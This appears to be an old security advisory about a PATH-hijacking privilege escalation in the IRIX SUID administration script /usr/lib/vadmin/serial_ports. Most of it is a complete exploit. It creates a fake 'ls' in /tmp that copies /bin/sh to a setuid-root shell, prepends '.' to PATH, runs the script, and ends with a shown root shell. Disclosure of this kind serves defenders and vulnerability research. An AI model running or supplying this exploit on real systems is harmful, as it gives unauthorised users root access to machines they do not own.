COMMAND

    /usr/lib/vadmin/serial_ports

SYSTEMS AFFECTED

    IRIX

PROBLEM

    IRIX Race Conditions with their SUID administration scripts

    cat > /tmp/ls
    #!/bin/sh
    cp /bin/sh /tmp/foo
    chmod 4777 /tmp/foo
    ^D
    chmod 755 /tmp/ls
    cd /tmp
    set PATH=( . $PATH )
    /usr/lib/vadmin/serial_ports
    # wait about 10-20 seconds and hit ^C, or wait for it to
    # die out completely
    /tmp/foo
    # whoami
    root